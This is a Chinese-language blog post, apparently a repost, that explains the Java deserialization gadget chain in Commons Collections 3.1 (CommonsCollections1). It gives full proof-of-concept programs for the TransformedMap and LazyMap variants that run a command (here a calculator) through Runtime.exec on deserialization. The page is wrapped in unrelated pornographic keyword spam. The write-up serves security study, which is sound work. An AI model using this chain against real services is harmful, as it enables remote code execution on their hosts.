日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程语言 > java >内容正文

java

java object转map_Java反序列化学习之CommonsCollections1

發(fā)布時間:2023/12/19 java 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 java object转map_Java反序列化学习之CommonsCollections1 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

更多全球網(wǎng)絡(luò)安全資訊盡在邑安全

www.eansec.com

漏洞點

漏洞點存在于?commons-collections-3.1-src.jar!/org/apache/commons/collections/functors/InvokerTransformer.java?。 在?InvokerTransformer?類中使用了反射,且反射參數(shù)均可控,所以我們可以利用這處代碼調(diào)用任意類的任意方法。

接下來,我們需要找到一處可以循環(huán)調(diào)用?transform?方法的地方。全局搜索?.transform(?后發(fā)現(xiàn),?commons-collections-3.1-src.jar!/org/apache/commons/collections/functors/ChainedTransformer.java?類的?transform?方法剛好符合條件。

在?ChainedTransformer?類的?transform?方法中,對?iTransformers?數(shù)組進(jìn)行了循環(huán)遍歷,并調(diào)用其元素的?transform?方法。

可能有的人會有疑問,為什么要找一處循環(huán)調(diào)用?transform?方法的地方?如果你懂得如何使用?Java反射?來執(zhí)行?系統(tǒng)命令?,也許就能明白這么做的原因。下面貼出了?Demo?代碼。我們需要利用循環(huán),構(gòu)造出下面的鏈?zhǔn)秸{(diào)用。

// ExecuteCMD.javaimport java.io.IOException;public class ExecuteCMD {public static void main(String [] args) throws IOException{// 普通命令執(zhí)行Runtime.getRuntime().exec(new String [] { "deepin-calculator" });// 通過反射執(zhí)行命令try{Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),new String [] { "deepin-calculator" });} catch(Exception e) {e.printStackTrace();}}}

此時,我們就可以將?ChainedTransformer?的?Transformer?屬性按照如下構(gòu)造:

Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "deepin-calculator" }) };

這里?transformers?數(shù)組的第一個,我們選用的是?ConstantTransformer?類。因為該類執(zhí)行?transform?方法后,會返回一個構(gòu)造對象時傳入的參數(shù),在這里就是?Runtime.class?。

在構(gòu)造好這些后,我們現(xiàn)在需要尋找哪里可以調(diào)用?ChainedTransformer.transform()?方法。網(wǎng)絡(luò)上公開的主要是通過?TransformedMap?和?LazyMap?這兩個利用鏈,接下來我們來逐個分析。

TransformedMap利用鏈

先來看?TransformedMap?類,該類中有3個方法均調(diào)用了?transform()?(對應(yīng)下圖126、141、169行代碼),分別是?transformKey()、transformValue()、checkSetValue()?,且類名均可控(對應(yīng)下圖83-84行代碼)。但是這3個方法都被?protected?修飾,所以看看哪些方法調(diào)用了它們。

我們可以看到公共方法?put()、putAll()?調(diào)用了?transformKey()、transformValue()?,而?checkSetValue()?卻沒有看到在哪調(diào)用。不過我們可以從注釋中看出些端倪。注釋說當(dāng)調(diào)用該類的?setValue方法時,會自動調(diào)用?checkSetValue?方法。該類?setValue?方法繼承自父類?AbstractInputCheckedMapDecorator?,我們看其父類代碼。

AbstractInputCheckedMapDecorator?的根父類實際就是?Map?,所以我們現(xiàn)在只需要找到一處?readObject?方法,只要它調(diào)用了?Map.setValue()?方法,即可完成整個反序列化鏈。下面,我們來看滿足這個條件的?AnnotationInvocationHandler?類,該類屬于?JDK1.7?自帶的,代碼如下。

我們可以在?AnnotationInvocationHandler?類的?readObject?方法中看到?setValue?方法的調(diào)用。而想要成功執(zhí)行到此處,我們需要先繞過上圖360行的if條件。其中需要關(guān)注的就是?var7、var8?兩個變量的值。實際上,?var7?的值只與?this.type?有關(guān);?var8?只與?this.memberValues?有關(guān),所以我們轉(zhuǎn)而關(guān)注構(gòu)造函數(shù)。在構(gòu)造函數(shù)中,程序要求我們傳入的第一個參數(shù)必須繼承?java.lang.annotation.Annotation?接口。而在?Java?中,所有的注解實際上都繼承自該接口。所以我們第一個變量傳入一個JDK自帶注解,這樣第二個?Map類型的變量也可以正常賦值。

現(xiàn)在來看看如何去構(gòu)造這兩個?this.type、this.memberValues?這兩個變量。實際上,并不是將?this.type設(shè)置成任意注解類都能執(zhí)行?POC?。網(wǎng)絡(luò)上很多分析文章將?this.type?設(shè)置成?java.lang.annotation.Retention.class?,但是沒有說為什么這個類可以。而在調(diào)試代碼的過程中,我發(fā)現(xiàn)這個問題和注解類中有無定義方法有關(guān)。只有定義了方法的注解才能觸發(fā)?POC?。例如?java.lang.annotation.Retention、java.lang.annotation.Target?都可以觸發(fā),而?java.lang.annotation.Documented?則不行。而且我們?POC?中,?innermap?必須有一個鍵名與注解類方法名一樣的元素(如下圖箭頭指向)。而注解類方法返回類型將是?var7?的值。

具體怎么影響,調(diào)試下?/opt/java/jdk1.7.0_80/jre/lib/rt.jar!/sun/reflect/annotation/AnnotationType.class:AnnotationType()?就知道了,這里不再贅述。

最終構(gòu)造?TransformedMap?利用鏈如下:

// PopChain1.javaimport java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;public class Demo {public static Object generatePayload() throws Exception {Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "deepin-calculator" })};Transformer transformerChain = new ChainedTransformer(transformers);Map innermap = new HashMap();innermap.put("value", "mochazz");Map outmap = TransformedMap.decorate(innermap, null, transformerChain);//通過反射獲得AnnotationInvocationHandler類對象Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通過反射獲得cls的構(gòu)造函數(shù)Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);//這里需要設(shè)置Accessible為true,否則序列化失敗ctor.setAccessible(true);//通過newInstance()方法實例化對象Object instance = ctor.newInstance(Retention.class, outmap);return instance;}public static void main(String[] args) throws Exception {payload2File(generatePayload(),"obj");payloadTest("obj");}public static void payload2File(Object instance, String file)throws Exception {//將構(gòu)造好的payload序列化后寫入文件中ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));out.writeObject(instance);out.flush();out.close();}public static void payloadTest(String file) throws Exception {//讀取寫入的payload,并進(jìn)行反序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));in.readObject();in.close();}}

LazyMap利用鏈

在分析?LazyMap?這條利用鏈之前,我們得先了解?Java?中代理模式的概念。

代理實際上是:在不修改原函數(shù)代碼的基礎(chǔ)上,為其添加額外的功能代碼,有點像?Python?中的裝飾器。下面分別來看靜態(tài)代理與動態(tài)代理的示例。

靜態(tài)代理示例:

// StaticProxyDemo.javapublic class StaticProxyDemo {public static void main(String[] args){Animals catProxy = new CatProxy();catProxy.say();}}interface Animals{void say();}class Cat implements Animals{public void say() {System.out.println("I'm a cat!");}}class CatProxy implements Animals {private Cat cat = new Cat();public void say() {System.out.println("Before invoke say!");cat.say();System.out.println("After invoke say!");}}/* 執(zhí)行結(jié)果: Before invoke say! I'm a cat! After invoke say! */

動態(tài)代理示例:

import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.lang.reflect.Proxy;public class DynamicProxyDemo {public static void main(String[] args){Animals cat = new Cat();InvocationHandler handler = (InvocationHandler) new CatProxyHandle(cat);Animals catProxy = (Animals) Proxy.newProxyInstance(Cat.class.getClassLoader(), Cat.class.getInterfaces(), handler);catProxy.say();}}interface Animals{void say();}class Cat implements Animals{public void say() {System.out.println("I'm a cat!");}}class CatProxyHandle implements InvocationHandler {private Object obj;public CatProxyHandle(Object obj) {this.obj = obj;}public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {System.out.println("Before invoke " + method.getName());method.invoke(obj, args);System.out.println("After invoke " + method.getName());return null;}}/* 執(zhí)行結(jié)果: Before invoke say I'm a cat! After invoke say */

通過上面動態(tài)代理的示例,我們可以清晰看到,程序會調(diào)用實現(xiàn)了代理類(必須實現(xiàn)?InvocationHandler?)的?invoke?方法,然后再通過反射調(diào)用被代理類的方法。

在了解了上面這些概念之后,我們就可以直接來看?LazyMap?這個利用鏈。首先,我們在?LazyMap:get()?中發(fā)現(xiàn)調(diào)用了?transform?方法,且前面的?factory?可控,所以我們繼續(xù)搜下哪里調(diào)用了這個?get?方法。

在?AnnotationInvocationHandler?類的?invoke?方法中,我們可以看到有?get()?方法調(diào)用,且?this.memberValues?可控。通過動態(tài)代理,我們就可以觸發(fā)這個?invoke?方法。

最終構(gòu)造?LazyMap?利用鏈如下:

// PopChain2.javaimport java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;public class PopChain2 {public static Object generatePayload() throws Exception {Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "deepin-calculator" })};Transformer transformerChain = new ChainedTransformer(transformers);Map innermap = new HashMap();innermap.put("value", "mochazz");Map outmap = LazyMap.decorate(innermap,transformerChain);//通過反射獲得AnnotationInvocationHandler類對象Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通過反射獲得cls的構(gòu)造函數(shù)Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);//這里需要設(shè)置Accessible為true,否則序列化失敗ctor.setAccessible(true);//通過newInstance()方法實例化對象InvocationHandler handler = (InvocationHandler)ctor.newInstance(Retention.class, outmap);Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);Object instance = ctor.newInstance(Retention.class, mapProxy);return instance;}public static void main(String[] args) throws Exception {payload2File(generatePayload(),"obj");payloadTest("obj");}public static void payload2File(Object instance, String file)throws Exception {//將構(gòu)造好的payload序列化后寫入文件中ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));out.writeObject(instance);out.flush();out.close();}public static void payloadTest(String file) throws Exception {//讀取寫入的payload,并進(jìn)行反序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));in.readObject();in.close();}}

轉(zhuǎn)自先知社區(qū)

歡迎收藏并分享朋友圈,讓五邑人網(wǎng)絡(luò)更安全

歡迎掃描關(guān)注我們,及時了解最新安全動態(tài)、學(xué)習(xí)最潮流的安全姿勢!

推薦文章

1

新永恒之藍(lán)?微軟SMBv3高危漏洞(CVE-2020-0796)分析復(fù)現(xiàn)

2

重大漏洞預(yù)警:ubuntu最新版本存在本地提權(quán)漏洞(已有EXP) 

總結(jié)

以上是生活随笔為你收集整理的java object转map_Java反序列化学习之CommonsCollections1的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 91插插插插插 | 亚洲激情中文 | 日韩激情文学 | 精品色 | 日韩怡红院 | 黄色激情视频在线观看 | 91免费在线看 | 亚洲一二三四五 | 亚洲欧洲国产视频 | 国产又粗又猛又爽又黄的视频在线观看动漫 | aaa午夜| 免费av一级 | 久热精品在线观看视频 | 免费裸体美女网站 | 噼里啪啦国语高清 | 中文字幕亚洲第一 | 夜夜撸 | 欧美xxxx18 | 亚洲国产果冻传媒av在线观看 | 岛国片在线播放 | 欧美 日韩 国产精品 | 床上激情网站 | 国产超碰av | www.尤物| 神秘马戏团在线观看免费高清中文 | 在线视频1卡二卡三卡 | 欧美激情视频二区 | 欧美日韩a级 | 色婷婷一区二区三区四区 | 波多野结衣在线观看一区二区三区 | 精品国产鲁一鲁一区二区张丽 | 激情文学综合网 | 日本少妇性生活 | 国产精品视频播放 | 老司机深夜网站 | 久久福利视频导航 | 少妇一级淫片日本 | 亚洲天堂导航 | 欧美色综合 | 色妻影院 | 色臀 | 精品久久久免费 | 亚洲系列在线观看 | 亚洲精品色午夜无码专区日韩 | 美女隐私免费看 | 亚洲美女视频网 | 自拍偷拍麻豆 | 国产在线久 | 久一区二区三区 | 成人在线手机视频 | 白白色在线观看 | 女人囗交吞精囗述 | 日本精品免费在线观看 | 刘玥91精选国产在线观看 | xxx视频在线观看 | 狠狠狠狠干| 国产精选av | 国产三级在线观看视频 | 日韩在线视频免费观看 | 国产一区自拍视频 | 综合色天天 | 国产日韩欧美激情 | 狠狠操一区二区 | 欧美在线国产 | 在线看片中文字幕 | 一本大道久久精品 | 欧美性插动态图 | 九九精品视频在线观看 | 日本a级黄| 婷婷一区二区三区四区 | 97在线视频观看 | 女女av在线 | 久久久老熟女一区二区三区91 | 国产精品久久久久久久午夜 | 五月婷婷六月合 | 中文字幕一区二区三区夫目前犯 | 人与嘼交av免费 | 精品无码一区二区三区爱欲 | 欧美在线日韩在线 | 亚洲www啪成人一区二区麻豆 | 黄色h视频 | 国产一区二区三区精品在线 | 天天摸天天 | 69精品视频 | www.99色| 好吊妞视频在线观看 | 亚洲草逼视频 | 天天做天天爱天天操 | 日本久操| 国产男男gay体育生白袜 | 欧美一级鲁丝片 | 久久久精品视频在线观看 | 欧洲亚洲激情 | 黄色免费网站在线观看 | 天天影视色 | 狠狠操在线播放 | 性欧美精品中出 | 亚洲福利 | 欧美精品一区二区三区在线播放 |